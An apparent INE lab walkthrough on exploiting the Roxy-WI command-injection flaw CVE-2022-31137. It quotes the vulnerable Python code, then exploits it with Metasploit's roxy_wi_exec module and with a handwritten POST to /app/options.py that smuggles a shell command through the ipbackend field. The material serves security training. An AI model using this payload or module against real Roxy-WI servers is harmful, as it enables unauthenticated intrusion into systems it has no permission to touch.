Lab Walkthrough - Roxy-WI Unauthenticated Remote Code Executions
In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!
Introduction
This exercise is to understand how to exploit the Roxy-WI Unauthenticated Remote Code Executions vulnerability (CVE-2022-31137).
The Roxy-WI is a great web interface for managing Haproxy, Nginx, Apache, and Keepalived servers.
Purpose: We are learning about how to exploit Roxy-WI using the Metasploit Framework module. Also, we will use the burp suite to exploit the Roxy-WI application manually.
Technical difficulty: Beginner
What is Roxy-WI?
Roxy-WI was created for people who want to have a fault-tolerant infrastructure but do not want to plunge deep into the details of setting up and creating a cluster based on HAProxy / NGINX and Keepalived or just need a convenient interface for managing all services in one place.
Roxy-WI will build a high available cluster for you in a couple of clicks: it will create servers on AWS, DigitalOcean, and G-Core Labs, install HAProxy, NGINX and Keepalived and carry out the initial configuration for the services to start.
Monitoring is easy, you can select one of the three available monitoring options or use them all. Now you don't have to be afraid of failures: Roxy-WI will send you notifications about changes in server statuses via Slack, Telegram, and the web panel. If there are problems, you will be informed immediately. See statistics pages and load them in one place. You can view statistic pages and the load information in one place.
Source: https://roxy-wi.org/
What is Command Injection?
A cyberattack known as command injection includes running unauthorized commands on the host operating system. Usually, the threat actor inserts the orders by taking advantage of an application flaw, like inadequate input validation.
Lab Link: https://my.ine.com/CyberSecurity/courses/ebd09929/cyber-security-vulnerabilities-training-library/lab/d44e0417-15df-4766-9394-7992d0139123
Description
In 2022, a serious vulnerability was found in the Roxy-WI. Roxy-WI is an interface for managing HAProxy, Nginx, and Keepalived servers. Roxy-WI versions before 6.1.1.0 are vulnerable to a remote code execution vulnerability. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/options.py file. Attackers need not be authenticated to exploit this vulnerability. Users are advised to upgrade. There are no known workarounds for this vulnerability.
The severity base score of this vulnerability is 9.8, which is considered critical.
The vulnerability is discovered by Nuri Cilengir.
Read More: https://nvd.nist.gov/vuln/detail/CVE-2022-31137
Lab Environment
In this lab environment, the user will access a Kali GUI instance. A vulnerable machine is running the Roxy-WI server deployed on http://demo.ine.local.
Goal after completing this scenario: Access the /flag.txt file and read the flag!
Tools
The best tools for this lab are:
- Nmap
- Bash Shell
- Metasploit Framework
- Python
Vulnerabilities breakup as mentioned below:
- Vulnerability #1 - Authentication Bypass
- Vulnerability #2 - Unauthenticated Remote Code Execution via ssh_command
- Vulnerability #3 - Unauthenticated Remote Code Execution via subprocess_execute
- Vulnerability #4 - Unauthenticated Remote Code Execution
Please refer to this excellent blog post for vulnerability analysis written by Nuri Cilengir
Vulnerability #1 - Authentication Bypass
Code: https://github.com/hap-wi/roxy-wi/blob/v6.1.0.0/app/
Vulnerable Code
if form.getvalue('alert_consumer') is None:
if not sql.check_token_exists(form.getvalue("token")):
print('error: Your token has been expired')
sys.exit()
The lines between 29 and 32, it shows that session control can be bypassed if the alert_consumer variable is defined and not null in the body of the request sent to the options.py.
Vulnerability #2 - Unauthenticated Remote Code Execution via ssh_command
In the options.py the file was calling a function defined as ssh_command a lot, and ssh_command uses to perform operations on defined remote services.
Vulnerable Code
if form.getvalue('getcert') is not None and serv is not None:
cert_id = form.getvalue('getcert')
cert_path = sql.get_setting('cert_path')
commands = ["openssl x509 -in " + cert_path + "/" + cert_id + " -text"]
try:
funct.ssh_command(serv, commands, ip="1")
except Exception as e:
print('error: Cannot connect to the server ' + e.args[0])
On lines 1 and 6, the getcert variable is concatenated directly to the cmd variable. Then it is processed with the ssh_command function in the /app/funct.py file.
def ssh_command(server_ip, commands, kwargs):
ssh = ssh_connect(server_ip)
for command in commands:
try:
stdin, stdout, stderr = ssh.exec_command(command, get_pty=True)
except Exception as e:
logging('localhost', ' ' + str(e), haproxywi=1)
ssh.close()
return str(e)
if kwargs.get('raw'):
return stdout
try:
if kwargs.get("ip") == "1":
show_ip(stdout)
elif kwargs.get("show_log") == "1":
return show_log(stdout, grep=kwargs.get("grep"))
elif kwargs.get("server_status") == "1":
server_status(stdout)
elif kwargs.get('print_out'):
print(stdout.read().decode(encoding='UTF-8'))
return stdout.read().decode(encoding='UTF-8')
elif kwargs.get('return_err') == 1:
return stderr.read().decode(encoding='UTF-8')
else:
return stdout.read().decode(encoding='UTF-8')
except Exception as e:
logging('localhost', str(e), haproxywi=1)
finally:
ssh.close()
for line in stderr.read().decode(encoding='UTF-8'):
if line:
print("<div class='alert alert-warning'>" + line + "</div>")
logging('localhost', ' ' + line, haproxywi=1)
In line 6, it can be seen that the ssh_command function uses the command variable defined in file /app/funct.py without processing it.
Vulnerability #3 - Unauthenticated Remote Code Execution via subprocess_execute
Vulnerable Code
if form.getvalue('ipbackend') is not None and form.getvalue('backend_server') is None:
haproxy_sock_port = int(sql.get_setting('haproxy_sock_port'))
backend = form.getvalue('ipbackend')
cmd = 'echo "show servers state"|nc %s %s |grep "%s" |awk \'{print $4}\'' % (serv, haproxy_sock_port, backend)
output, stderr = funct.subprocess_execute(cmd)
for i in output:
if i == ' ':
continue
i = i.strip()
print(i + '<br>')
On lines between 1 and 5, if the ipbackend and backend_server variables are defined, the ipbackend variable is assigned directly to the cmd variable. Then the cmd variable is passed to the subprocess_execute function defined in /app/func.py.
def subprocess_execute(cmd):
import subprocess
p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, universal_newlines=True)
stdout, stderr = p.communicate()
output = stdout.splitlines()
return output, stderr
In line 3, it can be seen that the cmd value is executed directly without being processed.
Vulnerability #4 - Unauthenticated Remote Code Execution
Vulnerable Code
if serv and form.getvalue('ssl_cert'):
cert_local_dir = os.path.dirname(os.getcwd()) + "/" + sql.get_setting('ssl_local_path')
cert_path = sql.get_setting('cert_path')
name = ''
if not os.path.exists(cert_local_dir):
os.makedirs(cert_local_dir)
if form.getvalue('ssl_name') is None:
print('error: Please enter a desired name')
else:
name = form.getvalue('ssl_name')
try:
with open(name, "w") as ssl_cert:
ssl_cert.write(form.getvalue('ssl_cert'))
except IOError as e:
print('error: Cannot save the SSL key file. Check a SSH key path in config ' + e.args[0])
MASTERS = sql.is_master(serv)
for master in MASTERS:
if master[0] is not None:
funct.upload(master[0], cert_path, name)
print('success: the SSL file has been uploaded to %s into: %s%s <br/>' % (master[0], cert_path, '/' + name))
try:
error = funct.upload(serv, cert_path, name)
print('success: the SSL file has been uploaded to %s into: %s%s' % (serv, cert_path, '/' + name))
except Exception as e:
funct.logging('localhost', e.args[0], haproxywi=1)
try:
os.system("mv %s %s" % (name, cert_local_dir))
except OSError as e:
funct.logging('localhost', e.args[0], haproxywi=1)
funct.logging(serv, "add.py#ssl uploaded a new SSL cert %s" % name, haproxywi=1, login=1)
On lines 12 and 31, It can be seen that the upload function directly handles the ssl_name variable.
Source: https://pentest.blog/advisory-roxy-wi-unauthenticated-remote-code-executions-cve-2022-31137/
Solution
Step 1: Open the lab link to access the Kali machine.
Kali machine
Step 2: Check if the provided machine is reachable.
Command
ping -c 4 demo.ine.local
The provided machine is reachable.
Step 3: Check all open ports on the machine.
Command
nmap demo.ine.local
Two ports are open, i.e. 443 and 80.
Step 4: Run the firefox browser and access port Roxy-WI over HTTPS.
RL: https://demo.ine.local
Note: Accept the certificate warning
Login to the Roxy-WI using admin:admin creds.
Target Roxy-WI version is 6.1.0.0.
Step 5: Run the Metasploit framework and search for the roxy-wi exploit module.
First, start the PostgreSQL database server.
Commands
/etc/init.d/postgresql start
msfconsole -q
search roxy-wi
There is one Metasploit module available, i.e,. exploit/linux/http/roxy_wi_exec
Step 6: Use the roxy_wi_exec exploit module and check all available options.
Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE
This module exploits an unauthenticated command injection vulnerability in Roxy-WI prior to version 6.1.1.0. Successful exploitation results in remote code execution under the context of the web server user.
Source: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/roxy_wi_exec.rb
Commands
use exploit/linux/http/roxy_wi_exec
show options
Set RHOSTS and LHOST, then run the module.
Commands
set RHOSTS demo.ine.local
set LHOST 192.115.40.2
check
The target appears to be vulnerable.
Exploit the server.
Commands:
exploit
getuid
Step 7: Read the flag.
Commands:
ls /
cat /flag.txt
FLAG: 3a9bfe20952f42d1b97777d41d5bfbf1
Manual Exploitation
Step 8: Start burp suite.
Start the Firefox browser and access the Roxy-WI application, then enable the Burp-Suite proxy. Logout old session.
URL: https://demo.ine.local
Step 9: Intercept the login page request in the burp-suite.
Step 10: We need to use /app/options.py endpoint to execute commands on the target vulnerable Roxy-WI server.
Send the captured request to the repeater:
Now, replace the entire request with the below-mentioned request.
POST /app/options.py HTTP/1.1
Host: demo.ine.local
Cookie: group=1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 74
Origin: https://demo.ine.local
Referer: https://demo.ine.local/app/login.py
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Cache-Control: max-age=0
Te: trailers
Connection: close
alert_consumer=1&serv=127.0.0.1&ipbackend=";id+##&backend_server=127.0.0.1
The above request would execute the id command on the target machine and return the output.
Send the request
Executed the command on the target machine.
Mitigation
Upgrade Roxy-WI to the latest version.
Conclusion
We have learned to exploit the Roxy-WI web interface using the burp suite and a Metasploit module. This is a very critical vulnerability; its severity base score is 9.8. Also, it’s pretty easy to exploit the bug. Upgrade the old version to a newer version of Roxy-WI. Also, do not expose Roxy-WI to the internet.
References
Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!